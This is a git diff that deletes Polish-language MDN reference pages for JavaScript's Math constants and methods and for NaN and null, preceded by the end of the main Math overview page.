Wszystkie własności i metody obiektu Math są statyczne. Do stałej pi odwołujemy się poprzez Math.PI, a funkcję sinus wywołujemy jako Math.sin(x), gdzie x jest argumentem metody. Stałe zdefiniowane są z pełną precyzją liczb rzeczywistych JavaScriptu.

- -

Czasami wygodniej jest skorzystać z polecenia {{jsxref("with")}}, kiedy w pewnym fragmencie kodu wykonywane jest wiele obliczeń korzystających z metod i stałych obiektu Math. Unika się wtedy wielokrotnego wpisywania "Math". Na przykład:

- -
with (Math) {
-   a = PI * r*r;
-   y = r*sin(theta);
-   x = r*cos(theta);
-}
-
- -

Własności

- -
-
{{jsxref("Math.E")}}
-
stała Eulera, podstawa logarytmu naturalnego, w przybliżeniu 2.718.
-
{{jsxref("Math.LN2")}}
-
logarytm naturalny liczby 2, w przybliżeniu 0.693.
-
{{jsxref("Math.LN10")}}
-
logarytm naturalny liczby 10, w przybliżeniu 2.302.
-
{{jsxref("Math.LOG2E")}}
-
logarytm o podstawie 2 z liczby E, w przybliżeniu 1.442.
-
{{jsxref("Math.LOG10E")}}
-
logarytm o podstawie 10 z liczby E, w przybliżeniu 0.434.
-
{{jsxref("Math.PI")}}
-
stosunek obwodu okręgu do jego średnicy, w przybliżeniu 3.14159.
-
{{jsxref("Math.SQRT1_2")}}
-
pierwiastek kwadratowy z liczby 1/2, albo, inaczej mówiąc, odwrotność pierwiastka kwadratowego z liczby 2, w przybliżeniu 0.707.
-
{{jsxref("Math.SQRT2")}}
-
pierwiastek kwadratowy z liczby 2, w przybliżeniu 1.414.
-
- -

Metody

- -
-
{{jsxref("Math.abs()")}}
-
zwraca wartość bezwzględną danej liczby.
-
{{jsxref("Math.acos()")}}
-
zwraca arcus cosinus (w radianach) danej liczby.
-
{{jsxref("Math.asin()")}}
-
zwraca arcus sinus (w radianach) danej liczby.
-
{{jsxref("Math.atan()")}}
-
zwraca arcus tangens (w radianach) danej liczby.
-
{{jsxref("Math.atan2()")}}
-
zwraca kąt (w radianach) utworzony przez oś OX i prostą przechodzącą przez punkt o podanych współrzędnych.
-
{{jsxref("Math.ceil()")}}
-
zwraca najmniejszą liczbę całkowitą większą od lub równą danej.
-
{{jsxref("Math.cos()")}}
-
zwraca cosinus danej liczby.
-
{{jsxref("Math.exp()")}}
-
zwraca Ex, gdzie x to argument, a E to stała Eulera.
-
{{jsxref("Math.floor()")}}
-
zwraca największą liczbę całkowitą mniejszą od lub równą danej.
-
{{jsxref("Math.log()")}}
-
zwraca logarytm naturalny (tj. o podstawie E) z danej liczby.
-
{{jsxref("Math.max()")}}
-
zwraca większą z dwóch liczb.
-
{{jsxref("Math.min()")}}
-
zwraca mniejszą z dwóch liczb.
-
{{jsxref("Math.pow()")}}
-
zwraca daną liczbę podniesioną do danej potęgi.
-
{{jsxref("Math.random()")}}
-
zwraca liczbą pseudolosową z przedziału [0, 1).
-
{{jsxref("Math.round()")}}
-
zwraca daną liczbę zaokrągloną do najbliższej liczby całkowitej.
-
{{jsxref("Math.sin()")}}
-
zwraca sinus danej liczby.
-
{{jsxref("Math.sqrt()")}}
-
zwraca pierwiastek kwadratowy danej liczby.
-
{{jsxref("Math.tan()")}}
-
zwraca tangens danej liczby.
-
diff --git a/files/pl/web/javascript/referencje/obiekty/math/ln10/index.html b/files/pl/web/javascript/referencje/obiekty/math/ln10/index.html deleted file mode 100644 index 7b05143a06..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/ln10/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Math.LN10 -slug: Web/JavaScript/Referencje/Obiekty/Math/LN10 -tags: - - JavaScript - - Math - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN10 ---- -

{{JSRef}}

- -

Podsumowanie

- -

Logarytm naturalny liczby 10, w przybliżeniu 2.302.

- -

Math.LN10=ln(10)2.302\mathtt{\mi{Math.LN10}} = \ln(10) \approx 2.302

- -
{{js_property_attributes(0, 0, 0)}}
- -

Opis

- -

Ponieważ LN10 jest statyczną własnością obiektu Math, zawsze odwołujemy się do niej poprzez Math.LN10, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.LN10

- -

Poniższa funkcja zwraca logarytm naturalny liczby 10:

- -
function getNatLog10() {
-   return Math.LN10;
-}
-
-getNatLog10(); // 2.302585092994046
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/ln2/index.html b/files/pl/web/javascript/referencje/obiekty/math/ln2/index.html deleted file mode 100644 index aed4335b9f..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/ln2/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Math.LN2 -slug: Web/JavaScript/Referencje/Obiekty/Math/LN2 -tags: - - JavaScript - - Math - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN2 ---- -

{{JSRef}}

- -

Podsumowanie

- -

Logarytm naturalny liczby 2, w przybliżeniu 0.693

- -

Math.LN2=ln(2)0.693\mathtt{\mi{Math.LN2}} = \ln(2) \approx 0.693

- -

Opis

- -

Ponieważ LN2 jest statyczną własnością obiektu Math, zawsze odwołujemy się do niej poprzez Math.LN2, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.LN2

- -

Poniższa funkcja zwraca logarytm naturalny liczby 2:

- -
function getNatLog2() {
-   return Math.LN2;
-}
-
-getNatLog2(); // 0.6931471805599453
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/log/index.html b/files/pl/web/javascript/referencje/obiekty/math/log/index.html deleted file mode 100644 index 14e292b04f..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/log/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Math.log() -slug: Web/JavaScript/Referencje/Obiekty/Math/log -tags: - - JavaScript - - Math - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Math/log ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca logarytm naturalny (o podstawie {{jsxref("Math.E", "e")}}) z danej liczby.

- -

x>0,Math.log(x)=ln(x)=the uniqueysuch thatey=x\forall x > 0, \mathtt{\operatorname{Math.log}(x)} = \ln(x) = \text{the unique} \; y \; \text{such that} \; e^y = x

- -

Składnia

- -
Math.log(x)
- -

Parametry

- -
-
x 
-
liczba.
-
- -

Opis

- -

Jeśli wartość liczby x jest ujemna, zwracaną wartością jest zawsze {{jsxref("NaN")}}.

- -

Ponieważ log() jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.log(), a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.log()

- -

 

- -
Math.log(-1); // NaN, out of range
-Math.log(0);  // -Infinity
-Math.log(1);  // 0
-Math.log(10); // 2.302585092994046
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/log10e/index.html b/files/pl/web/javascript/referencje/obiekty/math/log10e/index.html deleted file mode 100644 index 33765632e0..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/log10e/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Math.LOG10E -slug: Web/JavaScript/Referencje/Obiekty/Math/LOG10E -tags: - - JavaScript - - Math - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG10E ---- -

{{JSRef}}

- -

Podsumowanie

- -

Logarytm o podstawie 10 z E, w przybliżeniu 0.434.

- -

Math.LOG10E=log10(e)0.434\mathtt{\mi{Math.LOG10E}} = \log_10(e) \approx 0.434

- -
{{js_property_attributes(0, 0, 0)}}
- -

 

- -

Opis

- -

Ponieważ LOG10E jest statyczną własnością obiektu Math, zawsze odwołujemy się do niej poprzez Math.LOG10E, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.LOG10E

- -

Poniższa funkcja zwraca logarytm o podstawie 10 z E:

- -
function getLog10e() {
-   return Math.LOG10E;
-}
-
-getLog10e(); // 0.4342944819032518
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/log2e/index.html b/files/pl/web/javascript/referencje/obiekty/math/log2e/index.html deleted file mode 100644 index 29d465fe42..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/log2e/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Math.LOG2E -slug: Web/JavaScript/Referencje/Obiekty/Math/LOG2E -tags: - - JavaScript - - Math - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG2E ---- -

{{JSRef}}

- -

Podsumowanie

- -

Logarytm o podstawie 2 z E, w przybliżeniu 1.442.

- -

Math.LOG2E=log2(e)1.442\mathtt{\mi{Math.LOG2E}} = \log_2(e) \approx 1.442

- -
{{js_property_attributes(0, 0, 0)}}
- -

Opis

- -

Ponieważ LOG2E jest statyczną własnością obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.LOG2E, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.LOG2E

- -

Poniższa funkcja zwraca logarytm o podstawie 2 z E:

- -
function getLog2e() {
-   return Math.LOG2E;
-}
-
-getLog2e(); // 1.4426950408889634
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/max/index.html b/files/pl/web/javascript/referencje/obiekty/math/max/index.html deleted file mode 100644 index 40946461d5..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/max/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Math.max() -slug: Web/JavaScript/Referencje/Obiekty/Math/max -tags: - - JavaScript - - Math - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Math/max ---- -
{{JSRef}}
- -

Podsumowanie

- -

Zwraca największą z podanych liczb.

- -

Składnia

- -
Math.max([value1[, value2[, ...]]])
- -

Parametry

- -
-
value1, value2, ...
-
liczby.
-
- -

Opis

- -

Ponieważ max jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.max(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.max()

- -
Math.max(10, 20);   //  20
-Math.max(-10, -20); // -10
-Math.max(-10, 20);  //  20
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/min/index.html b/files/pl/web/javascript/referencje/obiekty/math/min/index.html deleted file mode 100644 index 75a892461b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/min/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Math.min() -slug: Web/JavaScript/Referencje/Obiekty/Math/min -tags: - - JavaScript - - Math - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Math/min ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca najmniejszą z podanych liczb.

- -

Składnia

- -
Math.min([value1[, value2[, ...]]])
- -

Parametry

- -
-
value1, value2, ...
-
liczby.
-
- -

Opis

- -

Ponieważ min jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.min(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.min()

- -

Poniższa funkcja porównuje zmienne x and y i zwraca mniejszą z nich:

- -
var x = 10, y = -20;
-var z = Math.min(x, y);
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/pi/index.html b/files/pl/web/javascript/referencje/obiekty/math/pi/index.html deleted file mode 100644 index 429a21db09..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/pi/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Math.PI -slug: Web/JavaScript/Referencje/Obiekty/Math/PI -tags: - - JavaScript - - Math - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Math/PI ---- -

{{JSRef}}

- -

Podsumowanie

- -

Stosunek obwodu okręgu do jego średnicy, w przybliżeniu 3.14159.

- -

Math.PI=π3.14159\mathtt{\mi{Math.PI}} = \pi \approx 3.14159

- -
{{js_property_attributes(0, 0, 0)}}
- -

Opis

- -

Ponieważ PI jest statyczną własnością obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.PI, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.PI

- -

Poniższa funkcja zwraca wartość pi:

- -
function getPi() {
-   return Math.PI;
-}
-
-calculateCircumference(1);  // 6.283185307179586
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/pow/index.html b/files/pl/web/javascript/referencje/obiekty/math/pow/index.html deleted file mode 100644 index 89d0a1c21b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/pow/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Math.pow() -slug: Web/JavaScript/Referencje/Obiekty/Math/pow -tags: - - JavaScript - - Math - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Math/pow ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca liczbę podstawa podniesioną do potęgi o wykładniku wykładnik, tj. podstawawykładnik.

- -

Składnia

- -
Math.pow(podstawa, wykładnik)
- -

Parametry

- -
-
podstawa 
-
liczba podnoszona do potęgi.
-
- -
-
wykładnik 
-
wykładnik potęgi, do której podnoszona jest liczba podstawa.
-
- -

Opis

- -

Ponieważ pow jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.pow(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.pow()

- -
Math.pow(7, 2); // 49
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/random/index.html b/files/pl/web/javascript/referencje/obiekty/math/random/index.html deleted file mode 100644 index af6fa11aa7..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/random/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Math.random() -slug: Web/JavaScript/Referencje/Obiekty/Math/random -tags: - - JavaScript - - Math - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Math/random ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca pseudolosową, zmiennoprzecinkową liczbę z przedziału [0, 1) ( jedynka nie należy do przedziału). Podstawą generatora liczb losowych (ang. seed ) jest aktualny czas, tak samo jak w języku Java. Ponieważ random jest statyczną metodą obiektu Math, zawsze odwołujemy się do niej poprzez Math.random(), a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.

- -
-

Notatka: Math.random() nie zapewnia kryptograficznie bezpiecznych liczb losowych. Nie używaj ich do niczego związanego z bezpieczeństwem (np. generowanie haseł). Zamiast tego użyj Web Crypto API, a dokładniej: metodę {{domxref("RandomSource.getRandomValues()", "window.crypto.getRandomValues()")}}.

-
- -

Składnia

- -
Math.random()
- -

Parametry

- -

Brak.

- -

Wartość zwracana

- -

Liczba pseudolosowa, zmiennoprzecinkowa zawarta w przedziale [0, 1) (od 0 (włącznie) do 1 (wykluczając 1)).

- -

Przykłady

- -

Zastosowanie Math.random()

- -

Zwraca losową liczbę większą lub równą 0 i mniejszą od 1.

- -
function getRandom() {
-  return Math.random();
-}
- -

Uzyskanie losowej liczby między dwiema wartościami

- -

Ten przykład zwraca losową liczbę znajdującą się pomiędzy określonymi wartościami. Zwrócona wartość jest większa lub równa min, i jest mniejsza niż max.

- -
function getRandomInt(min, max) {
-  min = Math.ceil(min);
-  max = Math.floor(max);
-  return Math.floor(Math.random() * (max - min)) + min;
-}
-
- -

Uzyskanie losowej liczby między dwiema wartościami z przedziału [min, max] (max włącznie)

- -
function getRandomIntInclusive(min, max) {
-  min = Math.ceil(min);
-  max = Math.floor(max);
-  return Math.floor(Math.random() * (max - min + 1)) + min;
-}
- -

Wsparcie przeglądarek

- - - -

{{Compat("javascript.builtins.Math.random")}}

diff --git a/files/pl/web/javascript/referencje/obiekty/math/round/index.html b/files/pl/web/javascript/referencje/obiekty/math/round/index.html deleted file mode 100644 index 4f0729568b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/round/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Math.round() -slug: Web/JavaScript/Referencje/Obiekty/Math/round -tags: - - JavaScript - - Math - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Math/round ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca daną liczbę zaokrągloną do najbliższej liczby całkowitej.

- -

Składnia

- -
Math.round(x)
- -

Parametry

- -
-
x 
-
liczba.
-
- -

Opis

- -

Jeśli część ułamkowa liczby x wynosi 0.5 lub więcej, argument jest zaokrąglany do najbliższej większej liczby całkowitej. Jeśli część ułamkowa liczby x jest mniejsza niż 0.5, argument jest zaokrąglany do najbliższej mniejszej liczby całkowitej.

- -

Ponieważ round jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.round(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.round()

- -
// zwraca 20
-x = Math.round(20.49)
-
-// zwraca 21
-x = Math.round(20.5)
-
-// zwraca -20
-x = Math.round(-20.5)
-
-// zwraca -21
-x = Math.round(-20.51)
-
- -

 

diff --git a/files/pl/web/javascript/referencje/obiekty/math/sign/index.html b/files/pl/web/javascript/referencje/obiekty/math/sign/index.html deleted file mode 100644 index d6c21d59a1..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/sign/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Math.sign() -slug: Web/JavaScript/Referencje/Obiekty/Math/sign -translation_of: Web/JavaScript/Reference/Global_Objects/Math/sign ---- -
{{JSRef("Global_Objects", "Math")}}
- -

Podsumowanie

- -

Funkcja Math.sign() zwraca znak liczby. Wynik wskazuje czy liczba przekazana jako argument jest dodatnia, ujemna lub czy jest zerem.

- -

Składnia

- -
Math.sign(x)
- -

Parametry

- -
-
x
-
Liczba, której znak ma zostać określony.
-
- -

Opis

- -

Metoda sign powinna być zawsze używana jako Math.sign(), ponieważ jest metodą statyczną w obiekcie Math. (Nie jako metoda stworzonego obiektu  (Math nie jest konstruktorem)).

- -

Funkcja ma pięć wartości wynikowych 1, -1, 0, -0, NaN, które reprezentują odpowiednio: "liczbę dodatnią", "liczbę ujemną", "zero "dodatnie"",  "zero "ujemne"" oraz NaN (parametr nie jest liczbą).

- -

Argument funkcji jest domyślnie konwertowany do number.

- -

Przykłady

- -

Przykład: Użycie Math.sign

- -
Math.sign(3)     //  1
-Math.sign(-3)    // -1
-Math.sign("-3")  // -1
-Math.sign(0)     //  0
-Math.sign(-0)    // -0
-Math.sign(NaN)   // NaN
-Math.sign("foo") // NaN
-Math.sign()      // NaN
-
- -

Specyfikacje

- - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES6', '#sec-math.sign', 'Math.sign')}}{{Spec2('ES6')}}Initial definition.
- -

Tabela zgodności przeglądarek

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatGeckoDesktop("25")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("25")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/sin/index.html b/files/pl/web/javascript/referencje/obiekty/math/sin/index.html deleted file mode 100644 index 56d31ef74c..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/sin/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Math.sin() -slug: Web/JavaScript/Referencje/Obiekty/Math/sin -tags: - - JavaScript - - Math - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Math/sin ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca sinus danej liczby.

- -

Składnia

- -
Math.sin(x)
- -

Parametry

- -
-
x 
-
liczba.
-
- -

Opis

- -

Metoda sin zwraca wartość numeryczną większą lub równą -1 i mniejszą lub równą 1, stanowiącą sinus argumentu.

- -

Ponieważ sin jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.sin(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.sin()

- -
Math.sin(0);           // 0
-Math.sin(1);           // 0.8414709848078965
-
-Math.sin(Math.PI / 2); // 1
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/sqrt/index.html b/files/pl/web/javascript/referencje/obiekty/math/sqrt/index.html deleted file mode 100644 index 76c5b33a3e..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/sqrt/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Math.sqrt() -slug: Web/JavaScript/Referencje/Obiekty/Math/sqrt -tags: - - JavaScript - - Math - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Math/sqrt ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca pierwiastek kwadratowy danej liczby.

- -

x0,Math.sqrt(x)=x=the uniquey0such thaty2=x\forall x \geq 0, \mathtt{Math.sqrt(x)} = \sqrt{x} = \text{the unique} \; y \geq 0 \; \text{such that} \; y^2 = x

- -

Składnia

- -
Math.sqrt(x)
- -

Parametry

- -
-
x 
-
liczba.
-
- -

Opis

- -

Jeśli wartość x jest ujemna, funkcja sqrt zwraca {{jsxref("NaN")}}.

- -

Ponieważ sqrt() jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.sqrt(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.sqrt()

- -
Math.sqrt(9); // 3
-Math.sqrt(2); // 1.414213562373095
-
-Math.sqrt(1);  // 1
-Math.sqrt(0);  // 0
-Math.sqrt(-1); // NaN
- -

 

diff --git a/files/pl/web/javascript/referencje/obiekty/math/sqrt1_2/index.html b/files/pl/web/javascript/referencje/obiekty/math/sqrt1_2/index.html deleted file mode 100644 index 224739b4ce..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/sqrt1_2/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Math.SQRT1 2 -slug: Web/JavaScript/Referencje/Obiekty/Math/SQRT1_2 -tags: - - JavaScript - - Math - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2 ---- -

{{jsref}}

- -

Podsumowanie

- -

Pierwiastek kwadratowy z liczby 1/2, albo, inaczej mówiąc, odwrotność pierwiastka kwadratowego z liczby 2, w przybliżeniu 0.707.

- -

Math.SQRT1_2=12=120.707\mathtt{\mi{Math.SQRT1_2}} = \sqrt{\frac{1}{2}} = \frac{1}{\sqrt{2}} \approx 0.707

- -

Opis

- -

Ponieważ SQRT1_2 jest statyczną własnością obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.SQRT1_2, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.SQRT1_2

- -

Poniższa funkcja zwraca pierwiastek kwadratowy z 1/2:

- -
function getRoot1_2() {
-   return Math.SQRT1_2
-}
-
-getRoot1_2(); // 0.7071067811865476
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/sqrt2/index.html b/files/pl/web/javascript/referencje/obiekty/math/sqrt2/index.html deleted file mode 100644 index 6f247b5abe..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/sqrt2/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Math.SQRT2 -slug: Web/JavaScript/Referencje/Obiekty/Math/SQRT2 -tags: - - JavaScript - - Math - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT2 ---- -

{{JSRef}}

- -

Podsumowanie

- -

Pierwiastek kwadratowy z liczby 2, w przybliżeniu 1.414.

- -

Math.SQRT2=21.414\mathtt{\mi{Math.SQRT2}} = \sqrt{2} \approx 1.414

- -
{{js_property_attributes(0, 0, 0)}}
- -

Opis

- -

Ponieważ SQRT2 jest statyczną własnością obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez {{jsxref("Math")}}.SQRT2, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.SQRT2

- -

Poniższa funkcja zwraca pierwiastek kwadratowy z liczby 2:

- -
function getRoot2() {
-   return Math.SQRT2;
-}
-
-getRoot2(); // 1.4142135623730951
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/math/tan/index.html b/files/pl/web/javascript/referencje/obiekty/math/tan/index.html deleted file mode 100644 index 844ca8cf12..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/math/tan/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Math.tan() -slug: Web/JavaScript/Referencje/Obiekty/Math/tan -tags: - - JavaScript - - Math - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Math/tan ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca tangens danej liczby.

- -

Składnia

- -
Math.tan(x)
- -

Parametry

- -
-
x 
-
liczba.
-
- -

Opis

- -

Metoda tan zwraca wartość numeryczną reprezentującą tangens kąta.

- -

Ponieważ tan() jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.tan(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

- -

Przykłady

- -

Przykład: Zastosowanie Math.tan()

- -

Poniższa funkcja zwraca tangens zmiennej x:

- -
function getTan(x) {
-   return Math.tan(x)
-}
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/nan/index.html b/files/pl/web/javascript/referencje/obiekty/nan/index.html deleted file mode 100644 index 738e9a2a01..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/nan/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: NaN -slug: Web/JavaScript/Referencje/Obiekty/NaN -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/NaN ---- -
-
-
{{jsSidebar("Obiekty")}}
-
-
- -

Podsumowanie

- -

Wartość reprezentująca - Not-A-Number - , tj. nie będąca liczbą.

- -

Składnia

- -
NaN
- -

Opis

- -

NaN jest własnością najwyższego rzędu i nie jest powiązana z żadnym obiektem.

- -

Wartością początkową NaN jest NaN.

- -

NaN nigdy nie jest równa innej liczbie, nie jest równa nawet samej sobie. Nie jest możliwe sprawdzenie, czy dana wartość jest NaN przez porównanie z {{jsxref("Number.NaN")}} – należy zamiast tego stosować funkcję {{jsxref("Obiekty.isNaN", "isNaN()")}}.

- -

Wiele metod języka JavaScript (m. in. konstruktor Number, parseFloat i parseInt) zwracają NaN, jeśli wartość ich parametrów nie jest liczbą lub nie daje się na liczbę skonwertować.

- -

NaN można zastosować do zasygnalizowania błędu w funkcji, która zazwyczaj zwraca poprawną liczbę.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/null/index.html b/files/pl/web/javascript/referencje/obiekty/null/index.html deleted file mode 100644 index 34e20e399c..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/null/index.html +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: 'null' -slug: Web/JavaScript/Referencje/Obiekty/null -tags: - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/null ---- -
{{jsSidebar("Objects")}}
- -

Wartość null reprezentuje zamierzony brak wartości jakiegoś obiektu. Jest jedną z {{Glossary("Primitive", "podstawowych wartości")}} w JavaSript.

- -

Składnia

- -
null 
- -

Opis

- -

Wartość null, jak podpowiada nazwa, zapisujemy używając słowa "null". null nie jest zmienną globalną, w przeciwieństwie do {{jsxref("Global_Objects/undefined","undefined")}}. Zamiast tego null wyraża brak identyfikacji, mówiąc nam, że zmienna nie wskazuje na obiekt. W wielu API null jest często zwracany tam, gdzie może być obiekt, ale aktualnie jeszcze go tam nie ma.

- -
// foo nie istnieje. Nie jest zdefiniowany oraz nigdy nie był zainicjalizowany:
-> foo
-"ReferenceError: foo is not defined"
-
-// Teraz wiadomo że null istnieje, ale nie ma on żadnego typu ani wartości:
-> var foo = null; foo;
-"null"
-
- -

Różnice pomiędzy null i undefined

- -

Podczas sprawdzania null lub undefined, uważaj na róźnice pomiędzy operatorami równości (==) oraz identyczności (===), ponieważ ten pierwszy wykonuje konwersję typu.

- -
typeof null        // "object" (nie jest to "null" ze względu na starsze przyczyny)
-typeof undefined   // "undefined"
-null === undefined // false
-null  == undefined // true
-null === null // true
-null == null // true
-!null // true
-isNaN(1 + null) // false
-isNaN(1 + undefined) // true
- -

 

- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Definicja początkowa.
{{SpecName('ES5.1', '#sec-4.3.11', 'null value')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-null-value', 'null value')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-null-value', 'null value')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność z przeglądarką

- -

{{CompatibilityTable}}

- -
